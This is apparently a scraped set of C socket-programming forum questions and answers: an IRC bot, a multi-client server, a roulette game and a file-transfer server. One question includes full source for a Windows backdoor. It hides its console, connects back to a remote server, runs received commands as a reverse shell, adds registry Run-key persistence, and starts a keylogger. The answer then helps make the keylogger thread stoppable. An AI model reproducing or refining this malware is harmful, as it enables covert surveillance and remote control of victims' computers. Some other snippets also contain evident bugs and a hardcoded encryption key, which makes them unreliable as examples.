c - trying to make irc bot - c

#include <winsock2.h>
#include <stdio.h>
const int PORT = 6667;
const char *SERVER = "irc.freenode.org";
const char *CHAN = "#channela";
const char *NICK = "loveMilk";
const int MAX_BUFF_SIZE = 512;
int sock_conn(SOCKET *socketn, const char *HOST, int portn);
int sock_send(SOCKET *socketn, char* msg, ...);
int main(int argc, char *argv[])
{
WSADATA wsadata;
char buff[MAX_BUFF_SIZE];
char oBuff[MAX_BUFF_SIZE];
int buffRec;
if (WSAStartup(MAKEWORD(2,2), &wsadata) != 0)
return 0;
SOCKET sock;
if(sock_conn(&sock, SERVER, PORT) != 0)
{
WSACleanup();
return 0;
}
printf("connected.\n");
sock_send(&sock, "USER %s \"\" \"127.0.0.1\" :%s\r\n", NICK, NICK);
sock_send(&sock, "NICK %s\r\n", NICK);
Sleep(100);
sock_send(&sock, "JOIN %s\r\n", CHAN);
printf("Joined channel.\n");
while(1)
{
memset(buff, 0, MAX_BUFF_SIZE);
memset(oBuff, 0, MAX_BUFF_SIZE);
buffRec = recv(sock, buff, MAX_BUFF_SIZE, 0);
if((buffRec == 0) || (buffRec == SOCKET_ERROR)) break;
/* New line: Terminate buffer as a string */
buff[buffRec] = '\0';
if(buff[0] != ':')
{
strcpy(oBuff, "PONG :");
printf("PONG");
sock_send(&sock, oBuff);
}
else
{
if(strstr(buff, "PRIVMSG"))
{
int i, num = 0;
for(i = 0; i < strlen(buff); ++i) if(buff[i] = ' ') ++num;
char** parts = malloc(sizeof(char*) * num);
char *p;
p = strtok(buff, " ");
int j = 0;
while(p != NULL)
{
parts[j] = p;
j++;
p = strtok(NULL, " ");
}
printf("%s", parts[3]);
free(parts);
}
}
}
closesocket(sock);
return 1;
}
int sock_conn(SOCKET *socketn, const char *HOST, int portn)
{
WSADATA wsadata;
SOCKADDR_IN sockA;
LPHOSTENT hostE;
if(WSAStartup(MAKEWORD(2,2), &wsadata) == -1) return -1;
if(!(hostE = gethostbyname(HOST)))
{
WSACleanup();
return -1;
}
if ((*socketn = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
WSACleanup();
return -1;
}
sockA.sin_family = AF_INET;
sockA.sin_port = htons(portn);
sockA.sin_addr = *((LPIN_ADDR)*hostE->h_addr_list);
if(connect(*socketn, (LPSOCKADDR)&sockA, sizeof(struct sockaddr)) == SOCKET_ERROR)
{
WSACleanup();
return -1;
}
}
int sock_send(SOCKET *socketn, char* msg, ...)
{
char buff[MAX_BUFF_SIZE];
va_list va;
va_start(va, msg);
vsprintf(buff, msg, va);
va_end(va);
send(*socketn, buff, strlen(buff), 0);
return 1;
}
parts always null, why? someone told me to terminate the buff with this line: buff[buffRec] = '\0';, but still I got nothing, how can I change the buff to string cause I believe this is the problem... the bot is connecting and all and I can communicate with it, but when I try to reach to parts, it's NULL.

char buff[MAX_BUFF_SIZE];
/* ... */
buffRec = recv(sock, buff, MAX_BUFF_SIZE, 0);
buff[buffRec] = '\0';
If buffRec value is MAX_BUFF_SIZE you have a buffer overflow.

Related

How to close this thread in C?

Is it possible to close thread from "keylog_start" else if statement in another else if statement with winapi?
else if(strncmp("keylog_start", buffer, 12) == 0){
HANDLE thread = CreateThread(NULL, 0, logg, NULL, 0, NULL);
goto jump;
}
else if(strncmp("keylog_stop", buffer, 11) == 0){
goto jump;
}
DWORD WINAPI logg(){
int vkey, last_key_state[0xFF];
int isCAPSLOCK,isNUMLOCK;
int isL_SHIFT,isR_SHIFT;
int isPressed;
char showKey;
char NUMCHAR[] = ")!##$%^&*(";
char chars_vn[] = ";=,-./`";
char chars_vs[] = ":+<_>?~";
char chars_va[] = "[\\]\';";
char chars_vb[] = "{|}\"";
FILE *kh;
char KEY_LOG_FILE[] = "windows.txt";
for(vkey=0; vkey<0xFF;vkey++){
last_key_state[vkey] = 0;
}
while(1){
Sleep(10);
isCAPSLOCK=(GetKeyState(0x14)&0xFF)>0?1:0;
isNUMLOCK=(GetKeyState(0x90)&0xFF)>0?1:0;
isL_SHIFT=(GetKeyState(0xA0)&0xFF00)>0?1:0;
isR_SHIFT=(GetKeyState(0xA1)&0xFF00)>0?1:0;
for(vkey=0; vkey<0xFF;vkey++){
isPressed=(GetKeyState(vkey)&0xFF00)>0?1:0;
showKey=(char)vkey;
if(isPressed==1 && last_key_state[vkey]==0){
if(vkey>=0x41 && vkey<=0x5A){
if(isCAPSLOCK==0){
if(isL_SHIFT==0 && isR_SHIFT==0){
showKey=(char)(vkey+0x20);
}
}
else if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=(char)(vkey+0x20);
}
}
else if(vkey>=0x30 && vkey<=0x39){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=NUMCHAR[vkey-0x30];
}
}
else if(vkey>=0x60 && vkey<=0x69 && isNUMLOCK==1){
showKey=(char)(vkey-0x30);
}
else if(vkey>=0xBA && vkey<=0xC0){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=chars_vs[vkey-0xBA];
}
else{
showKey=chars_vn[vkey-0xBA];
}
}
else if(vkey>=0xDB && vkey<=0xDF){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=chars_vb[vkey-0xDB];
}
else{
showKey=chars_va[vkey-0xDB];
}
}
else if(vkey==0x0D){
showKey=(char)0x0A;
}
else if(vkey>=0x6A && vkey<=0x6F){
showKey=(char)(vkey-0x40);
}
else if(vkey!=0x20 && vkey!=0x09){
showKey=(char)0x00;
}
if(showKey!=(char)0x00){
kh=fopen(KEY_LOG_FILE,"a");
putc(showKey,kh);
fclose(kh);
}
}
last_key_state[vkey]=isPressed;
}
}
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "keylogger.h"
#define bzero(p, size) (void) memset((p), 0, (size))
int sock;
int bootRun(){
char err[128] = "Failed\n";
char suc[128] = "Created Persistence At : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n";
TCHAR szPath[MAX_PATH];
DWORD pathLen = 0;
pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);
if(pathLen == 0){
send(sock, err, sizeof(err), 0);
return -1;
}
HKEY NewVal;
if (RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS){
send(sock, err, sizeof(err), 0);
return -1;
}
DWORD pathLenInBytes = pathLen * sizeof(*szPath);
if(RegSetValueEx(NewVal, TEXT("[XPOSED]Agent"), 0, REG_SZ, (LPBYTE)szPath, pathLenInBytes) != ERROR_SUCCESS){
RegCloseKey(NewVal);
send(sock, err, sizeof(err), 0);
return -1;
}
RegCloseKey(NewVal);
send(sock, suc, sizeof(suc), 0);
return 0;
}
char *
str_cut(char str[], int slice_from, int slice_to){
if(str[0] == '\0')
return NULL;
char *buffer;
size_t str_len, buffer_len;
if(slice_to < 0 && slice_from > slice_to){
str_len = strlen(str);
if (abs(slice_to) > str_len -1)
return NULL;
if (abs(slice_from) > str_len)
slice_from = (-1) * str_len;
buffer_len = slice_to - slice_from;
str += (str_len + slice_from);
} else if (slice_from >= 0 && slice_to > slice_from){
str_len = strlen(str);
if (slice_from > str_len - 1)
return NULL;
buffer_len = slice_to - slice_from;
str += slice_from;
} else
return NULL;
buffer = calloc(buffer_len, sizeof(char));
strncpy(buffer, str, buffer_len);
return buffer;
}
void Shell(){
char buffer[1024];
char container[1024];
char total_response[18384];
while(1){
jump:
bzero(buffer,1024);
bzero(container,sizeof(container));
bzero(total_response, sizeof(total_response));
recv(sock, buffer, 1024, 0);
if(strncmp("q", buffer, 1) == 0){
closesocket(sock);
WSACleanup();
exit(0);
}
else if(strncmp("cd ", buffer, 3) == 0){
chdir(str_cut(buffer,3,100));
}
else if(strncmp("persist", buffer, 7) == 0){
bootRun();
}
else if(strncmp("keylog_start", buffer, 12) == 0){
HANDLE thread = CreateThread(NULL, 0, logg, NULL, 0, NULL);
goto jump;
}
else if(strncmp("keylog_stop", buffer, 11) == 0){
goto jump;
}
else{
FILE * fp;
fp = _popen(buffer, "r");
while(fgets(container, 1024, fp) != NULL){
strcat(total_response, container);
}
send(sock, total_response, sizeof(total_response), 0);
fclose(fp);
}
}
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
struct sockaddr_in ServAddr;
unsigned short ServPort;
char *ServIP;
WSADATA wsaData;
ServIP = "";
ServPort = 50005;
if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0){
exit(1);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
memset(&ServAddr, 0, sizeof(ServAddr));
ServAddr.sin_family = AF_INET;
ServAddr.sin_addr.s_addr = inet_addr(ServIP);
ServAddr.sin_port = htons(ServPort);
start:
while (connect(sock, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) != 0){
Sleep(10);
goto start;
}
/*MessageBox(NULL, TEXT("You have been pwned!"), TEXT("[XPOSED]Agent"), MB_OK | MB_ICONERROR); */
Shell();
}
Modify your logg function as follows. I'm not sure how you aren't getting a warning about your thread function missing a void* parameter. Perhaps C is more relaxed in the type checking.
struct LogOptions
{
CRITICAL_SECTION cs;
bool isExitCondition;
};
DWORD WINAPI logg(void* args){
...
LogOptions* pOptions = (LogOptions*)args;
...
while(1){
bool isExit = false;
EnterCriticalSection(&pOptions->cs);
isExit = pOptions->isExitCondition;
LeaveCriticalSection(&pOptions->cs);
if (isExit) {
break;
}
Sleep(10);
Create your thread like this:
LogOptions* pOptions = malloc(sizeof(LogOptions));
pOptions->isExitCondition = false;
InitializeCriticalSection(&pOptions->cs);
HANDLE thread = CreateThread(NULL, 0, logg, pOptions, 0, NULL);
When it's time to stop your thread, do this:
// signal the thread to exit by setting the shared variable to true
EnterCriticalSection(&pOptions->cs);
pOptions->isExitCondition = true;
LeaveCriticalSection(&pOptions->cs);
// wait for thread to exit
WaitForSingleObject(thread, INFINITE);
// release resources
CloseHandle(thread);
free(pOptions);
It's up to you how you will store and pass thread and pOptions around.

multiple client process connect to 1 server process

I'm making C socket program that 1 server process communicates to 1 client process of all 4 processes in turn.
More specifically, when the client and the server talk to each other 10 messages(5 messages for each), the other client who's waiting for connecting to the server connects and do the same thing. Each clients must have different ports (8000-8003) when connecting.
I think my program below communicates to only 1 client which matches to the same port with the server(8000).
What should I do with this when there should be just 1 server process and 4 client processes using different ports?
screentshot from client
screenshot from server
client.c
#define _POSIX_SOURCE
#include <sys/types.h>
#include <signal.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
int main(int argc, const char * argv[]) {
int c_socket_fd;
struct sockaddr_in server_address;
char fromServer[100];
int str_len;
int PORT = 8000;
int count = 0;
int status;
pid_t wait_pid;
pid_t pid = fork();
if (pid < 0) {
printf("fork failed!\n");
return 0;
} else if (pid == 0) {
// P-C1
pid = fork();
if (pid < 0) {
printf("fork failed!\n");
return 0;
} else if (pid == 0) {
// P-C1-C3
PORT = 8003;
} else if (pid > 0) {
// P-C1
PORT = 8001;
}
} else if (pid > 0) {
// P
pid = fork();
if (pid < 0) {
printf("fork failed!\n");
return 0;
} else if (pid == 0) {
// P-C2
PORT = 8002;
} else if (pid > 0) {
// P
PORT = 8000;
}
}
printf("pid: %d ppid: %d\n", pid, getppid());
c_socket_fd = socket(PF_INET, SOCK_STREAM, 0);
printf("Created Client Socket\n");
memset(&server_address, 0, sizeof(server_address));
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = inet_addr("127.0.0.1");
server_address.sin_port = htons(PORT);
if(connect(c_socket_fd, (struct sockaddr*)&server_address, sizeof(server_address)) == 0) {
printf("Connected Server\n");
while (1) {
char toServer[100] = "Hello Server, this is message No. ";
char* ch = toServer;
while (*ch != '\0') {
ch++;
}
*ch = ('0' + count);
ch++;
char temp[7] = " from ";
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
int process_id = pid;
if (process_id >= 10000) {
char temp[6] = {0,};
sprintf(temp, "%d", process_id);
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
} else if (process_id >= 1000) {
char temp[5] = {0,};
sprintf(temp, "%d", process_id);
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
} else if (process_id >= 100) {
char temp[4] = {0,};
sprintf(temp, "%d", process_id);
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
} else if (process_id >= 10) {
char temp[3] = {0,};
sprintf(temp, "%d", process_id);
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
} else {
char temp[2] = {0,};
sprintf(temp, "%d", process_id);
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
}
ch++;
*ch = '\0';
count++;
if (count > 5) {
if (pid > 0)
wait_pid = wait(&status);
if (wait_pid != -1)
break;
}
write(c_socket_fd, toServer, sizeof(toServer));
read(c_socket_fd, fromServer, sizeof(fromServer));
printf("From Server: %s\n", fromServer);
}
close(c_socket_fd);
}
return 0;
}
server.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#define PORT 8000
int main() {
int s_socket_fd, c_socket_fd;
struct sockaddr_in server_address, client_address;
socklen_t client_address_size = sizeof(client_address);
char toClient[100] = "Hello Client, this is my reply for your message No. ";
char fromClient[100];
s_socket_fd = socket(PF_INET, SOCK_STREAM, 0);
if (s_socket_fd == -1) {
printf("socket create failed!\n");
close(s_socket_fd);
return 0;
}
printf("Server Socket Created!\n");
memset(&server_address, 0, sizeof(server_address));
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(PORT);
if ((bind(s_socket_fd, (struct sockaddr*) &server_address, sizeof(server_address))) == -1) {
printf("bind failed!\n");
close(s_socket_fd);
return 0;
}
if ((listen(s_socket_fd, 10) == -1)) {
printf("listen failed!\n");
close(s_socket_fd);
return 0;
}
printf("Waiting Client...\n");
client_address_size = sizeof(client_address);
c_socket_fd = accept(s_socket_fd, (struct sockaddr*) &client_address, &client_address_size);
if (c_socket_fd == -1) {
printf("accept failed!\n");
close(c_socket_fd);
close(s_socket_fd);
return 0;
}
printf("Client Connected!\n");
while(1) {
read(c_socket_fd, fromClient, sizeof(fromClient));
printf("From Client message: %s\n", fromClient);
char* count = strstr(fromClient, " from");
count--;
char* temp_ch = toClient;
while (*temp_ch != '\0') {
temp_ch++;
}
*(temp_ch-1) = *count;
write(c_socket_fd, toClient, sizeof(toClient));
}
close(c_socket_fd);
close(s_socket_fd);
return 0;
}

TCP server not waiting for client response?

I have been given the task to write a Roulette game, using TCP socket programming in C.
The code was working just fine, until I got close to finishing it, and for some unknown reason, it stopped working properly and I can't track down the error.
The code used to work with simple recv() calls, so I tried making the readn() function (actually got it from another post), however it did not solve the issue.
I might be overlooking the problem, which lies in the for (int i = 0 ; i < max_round ; i++) loop of the main() function.
Here is my server:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
int
readn(int f, void *av, int n)
{
char *a;
int m, t;
a = av;
t = 0;
while(t < n){
m = read(f, a+t, n-t);
if(m <= 0){
if(t == 0)
return m;
break;
}
t += m;
}
return t;
}
typedef struct
{
int _count, _bet, _client, _currency;
int _numbers[3];
char *_color;
} Roulette;
int find_element(int searched, int numbers[], int count)
{
for (int i = 0; i < count; i++)
{
if (searched == numbers[i])
return 1;
}
return 0;
}
void Round_Results(Roulette *obj1, Roulette *obj2, const int size)
{
char *lose_msg = "Sajnos nem nyert ebben a korben!\n";
char *win_msg = "Gratulalok, ebben a korben nyert!\n";
char answer[size];
srand(time(NULL));
int winner_number = rand() % 10;
if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 0) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 0))
{
send(obj1->_client, lose_msg, size, 0);
obj1->_currency = obj1->_currency - obj1->_bet;
printf("%d", obj1->_currency);
sprintf(answer, "%d", obj1->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, lose_msg, size, 0);
obj2->_currency = obj2->_currency - obj2->_bet;
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
else if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 1) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 0))
{
send(obj1->_client, win_msg, size, 0);
obj1->_currency = obj1->_currency + obj1->_bet * (6 / obj1->_count);
printf("%d", obj1->_currency);
sprintf(answer, "%d", obj1->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, lose_msg, size, 0);
obj2->_currency = obj2->_currency - obj2->_bet;
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
else if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 0) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 1))
{
send(obj1->_client, lose_msg, size, 0);
obj1->_currency = obj1->_currency - obj1->_bet;
printf("%d", obj1->_currency);
sprintf(answer, "%d", obj1->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, win_msg, size, 0);
obj2->_currency = obj2->_currency + obj2->_bet * (6 / obj2->_count);
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
else if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 1) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 1))
{
send(obj1->_client, win_msg, size, 0);
obj1->_currency = obj1->_currency + obj1->_bet * (6 / obj1->_count);
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, win_msg, size, 0);
obj2->_currency = obj2->_currency + obj2->_bet * (6 / obj1->_count);
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
}
void Initialize(int client, int count, int numbers[], int bet, char *color, Roulette *obj)
{
obj->_client = client;
obj->_count = count;
obj->_color = color;
obj->_bet = bet;
for (int i = 0; i < count; i++)
obj->_numbers[i] = numbers[i];
}
void Round_Information(int client, const int size, Roulette *obj)
{
char *message = malloc(size);
char *money_msg = "Mennyi zsetonba fogad?\n";
char *number_msg = "Melyik szamra fogad?\n[0-9]\n";
char *count_msg = "Mennyi szamra fogad?\n[1-3]\n";
char *color_msg = "Milyen szinre fogad?\n[black/red]\n";
int count = 0;
char *color;
int numbers[3];
int bet;
//Bet
send(client, money_msg, size, 0);
readn(client,message,size);
bet = atoi(message);
//Count
send(client, count_msg, size, 0);
readn(client,message,size);
count = atoi(message);
//Number/Numbers
for (int i = 0; i < count; i++)
{
send(client, number_msg, size, 0);
readn(client,message,size);
numbers[i] = atoi(message);
}
//Color
send(client, color_msg, size, 0);
readn(client,message,size);
color = message;
Initialize(client, count, numbers, bet, color, obj);
free(message);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2)
{
printf("tul keves argumentum!\nusage : ./valami PORT_NR\n");
exit(-1);
}
const int size = 50;
int max_round, starting_money;
int flag = 0;
int on = 1;
char *message = malloc(size);
char *round_msg = "Korok szama :\n";
char *greeting_msg = "Sikeresen csatlakozott a szerverre!\n";
char *waiting_msg = "A masik jatekosra varunk!\n";
char *win_msg = "Gratulalok !\nMegnyerte a jatekot!\n";
char *lose_msg = "Jatek vege !\nSajnos nem nyert!\n";
Roulette *obj1 = malloc(size);
Roulette *obj2 = malloc(size);
int server_socket = socket(AF_INET, SOCK_STREAM, flag);
if (server_socket < 0)
{
printf("Nem sikerult a socket-et letrehozni\n");
exit(-1);
}
struct sockaddr_in server_adress;
server_adress.sin_addr.s_addr = INADDR_ANY;
server_adress.sin_family = AF_INET;
server_adress.sin_port = atoi(argv[1]);
setsockopt(server_socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&on, sizeof(on));
setsockopt(server_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
int binding_server = bind(server_socket, (struct sockaddr *)&server_adress, sizeof(server_adress));
if (binding_server < 0)
{
printf("nem sikerult bindolni a szervert!\n");
exit(-1);
}
listen(server_socket, 2);
int client1 = accept(server_socket, NULL, NULL);
int client2 = accept(server_socket, NULL, NULL);
send(client1, greeting_msg, size, flag);
send(client2, greeting_msg, size, flag);
printf("Milyen hosszu legyen a jatek ? (Hany kor)\n");
scanf("%s", message);
max_round = atoi(message);
//Korok szama
send(client1, message, size, flag);
send(client2, message, size, flag);
printf("Mennyi zsetonnal kezdodjon a jatek?\n");
scanf("%s", message);
starting_money = atoi(message);
//Kezdo penz
send(client1, message, size, flag);
send(client2, message, size, flag);
obj1->_currency = starting_money;
obj2->_currency = starting_money;
for (int i = 0; i < max_round; i++)
{
Round_Information(client1, size, obj1);
Round_Information(client2, size, obj2);
Round_Results(obj1, obj2, size);
}
if (obj1->_currency > obj2->_currency)
{
send(obj1->_client, win_msg, size, flag);
send(obj2->_client, lose_msg, size, flag);
}
else if (obj1->_currency < obj2->_currency)
{
send(obj2->_client, win_msg, size, flag);
send(obj1->_client, lose_msg, size, flag);
}
else
{
send(obj1->_client, lose_msg, size, flag);
send(obj2->_client, lose_msg, size, flag);
}
close(client1);
close(client2);
close(server_socket);
free(message);
free(obj1);
free(obj2);
return 0;
}
Here is the Client:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
void Round_Information(int client, const int size, int currency)
{
char *message = malloc(size);
char answer[size];
char *black = "black";
char *red = "red";
int count = 0;
memset(answer, 0, size);
//Bet
recv(client, message, size, 0);
if (currency == 0)
{
printf("Game over!\nVeszitett!\n");
close(client);
}
while (atoi(answer) < 1 || atoi(answer) > currency)
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
answer[0] = '0';
//Count
recv(client, message, size, 0);
while (atoi(answer) < 1 || atoi(answer) > 3)
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
count = atoi(answer);
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
//Number/Numbers
for (int i = 0; i < count; i++)
{
recv(client, message, size, 0);
answer[0] = 'z';
while (atoi(answer) <= 0 || atoi(answer) > 9)
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
}
//Color
recv(client, message, size, 0);
while ((strcmp(answer, black) != 0) && (strcmp(answer, red) != 0))
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
free(message);
}
void Round_Results(int client_socket, char *message, const int size, int *currency)
{
recv(client_socket, message, size, 0);
printf("%s\n", message);
recv(client_socket, message, size, 0);
(*currency) = atoi(message);
}
int main(int argc, char **argv)
{
if (argc < 2)
{
printf("tul keves argumentum!\nusage : ./valami PORT_NR\n");
exit(-1);
}
const int size = 50;
int flag = 0;
int max_round, currency;
int on = 1;
char message[size];
int client_socket = socket(AF_INET, SOCK_STREAM, flag);
if (client_socket < 0)
{
printf("Nem sikerult a socketet letrehozni!\n");
exit(-1);
}
struct sockaddr_in server_adress;
server_adress.sin_addr.s_addr = INADDR_ANY;
server_adress.sin_family = AF_INET;
server_adress.sin_port = atoi(argv[1]);
setsockopt(client_socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&on, sizeof(on));
setsockopt(client_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
int connection = connect(client_socket, (struct sockaddr *)&server_adress, sizeof(server_adress));
if (connection < 0)
{
printf("Nem sikerult kapcsolodni a szerverhez!\n");
exit(-1);
}
//Sikeres kapcsolodas
int receive = recv(client_socket, message, size, flag);
if (receive < 0)
{
printf("Nem sikerult megkapni az uzenetet!\n");
exit(-1);
}
printf("%s", message);
//Korok szama
receive = recv(client_socket, message, size, flag);
if (receive < 0)
{
printf("Nem sikerult megkapni az uzenetet!\n");
exit(-1);
}
printf("Korok szama :%s\n", message);
max_round = atoi(message);
//Kezdo penz
receive = recv(client_socket, message, size, flag);
if (receive < 0)
{
printf("Nem sikerult megkapni az uzenetet!\n");
exit(-1);
}
printf("Jelenlegi zsetonok mennyisege :%s\n", message);
currency = atoi(message);
for (int i = 0; i < max_round; i++)
{
Round_Information(client_socket, size, currency);
Round_Results(client_socket, message, size, &currency);
printf("Jelenlegi zseton :%d\n", currency);
}
recv(client_socket, message, size, flag);
printf("%s\n", message);
close(client_socket);
return 0;
}
It was not easy to read, since i do not know what the outputs mean, but i think i found your problem.
if (strcmp(answer, "befejeztem"))
{
close(client);
}
strcmp is 0 when the strings are equal. That means in almost every case you close the socket. Actually in the first loop answer is zero that means you are closing the socket right away. If you close the socket but the server tries to send data the program will receive the SIGPIPE signal and i think the default handler will just abort the program.
Try to change all these if statements to:
if(!strcmp(answer, "befejeztem"))
{
close(client);
}

Socket connect error in C

The goal of this server is to transfer small files, in a relatively simple manner. I have finished the code and it all compiles without error, and when I try to run it, the server side has no problems, but the client side gives an error in the socket binding and a segmentation fault. I was wondering what in the code was causing these problems.
Server:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>
#include <time.h>
#include <stdlib.h>
#include <sys/types.h>
#include <dirent.h>
#include <netinet/ip.h>
void timestamp_ss()
{
time_t current_time;
char* log_time;
log_time = ctime(&current_time);
log_file_ss(log_time);
}
send_data(int sockfd, char info_to_send)
{
char eof_buffer[4] = "\EOF";
int sent_data, data_to_send;
data_to_send = strlen(&info_to_send);
while(data_to_send > 0)
{
sent_data = send(sockfd, &info_to_send, data_to_send, 0);
if(sent_data == -1)
perror("There was a problem in the sending of data!");
data_to_send -= sent_data;
info_to_send += sent_data;
}
send(sockfd, eof_buffer, 4, 0);
}
int recv_data(int sockfd, char *dest_buffer)
{
#define EoF "\EOF"
unsigned char *buffer;
int eof_match = 0, eof_size = 2;
buffer = dest_buffer;
while(recv(sockfd, buffer, 1, 0) == 1)
{
if(*buffer == EoF[eof_match])
{
eof_match++;
if(eof_match = eof_size)
{
*(buffer+1-eof_size) = '\0';
return strlen(dest_buffer);
}
else
{
eof_match = 0;
}
}
buffer++;
}
return 0;
}
int password_ss(char *password_attempt, char *password_actual)
{
char key[] = { "ZjQXStSi" };
char ivec[] = {"7eNP3U1b" };
char des_dec[] = { "DES_DECRYPT" };
char des_hw[] = { "DES_HW" };
int l, i;
l = strlen(password_attempt);
i = cbc_crypt(key, password_attempt, l, *des_dec | *des_hw, ivec);
if(i < 0)
error_escape("In decryption");
if(password_attempt == password_actual)
return 1;
else
return 0;
}
int log_file_ss(char *log_message)
{
char logfile[]= "/Server/log/C-File-Transfer-Server-Log";
int log_fd, len;
log_fd = open(logfile, O_WRONLY | O_APPEND | O_CREAT);
len = strlen(log_message);
write(log_fd, log_message, len);
}
void file_to_client_ss(int sockfd, struct sockaddr_in *client_addr_ptr)
{
char file_req_c[128];
char buffer[10000];
char files[256];
char pass_attempt[128];
char *error_403[20] = { "Error 403: Forbidden" };
char *error_404[25] = { "Error 404: File Not Found" };
char *pass_path[20] = { "/server/log/PASSWORD" };
char *pass_req[50] = { "This File Requires A Password, Please Enter It Now" };
char *no_pass[37] = { "This File Does Not Require A Password" };
char *username;
char *file_s;
char *string;
char *file1_path[26] = { "/server/received_files/r_w" };
char *file2_path[24] = { "/server/received_files/r" };
char *file3_path[24] = { "/server/received_files/n" };
char file_data;
FILE *cs, *ps;
int file1, file2, file3, file_test, pass;
cs = fopen(file_req_c, "r");
recv_data(sockfd, username);
chdir("/server/log/PASSWORD");
ps = fopen(username, "r");
fread(files, 1, file_size(ps), ps);
chdir("/server");
recv_data(sockfd, file_req_c);
file_test = file_exist(file1_path, file_req_c);
if(file_test = -1)
{
file_test = file_exist(file2_path, file_req_c);
if(file_test = -1)
{
file_test = file_exist(file3_path, file_req_c);
if(file_test = -1)
{
error_escape("Opening file request from client");
}
else
{
send_data(sockfd, **pass_req);
recv_data(sockfd, pass_attempt);
pass = password_ss(pass_attempt, files);
if(pass == 0)
{
send_data(sockfd, **error_403);
error_escape("Wrong Password");
}
else
{
if(file_exist(pass_path, username) == 0)
send_data(sockfd, *file_req_c);
else
errror_escape("Error in sending file");
}
}
}
else
{
chdir(*file2_path);
file_data = fread(buffer, 1, file_size(cs), cs);
send_data(sockfd, **no_pass);
send_data(sockfd, file_data);
}
}
else
{
chdir(*file1_path);
file_data = fread(buffer, 1, file_size(cs), cs);
send_data(sockfd, **no_pass);
send_data(sockfd, file_data);
}
}
int file_size(FILE *stream)
{
off_t file_len;
fseek(stream, 0, SEEK_END);
file_len = ftell(stream);
fclose(stream);
return file_len;
}
int file_exist(char *file_path, char *file_name)
{
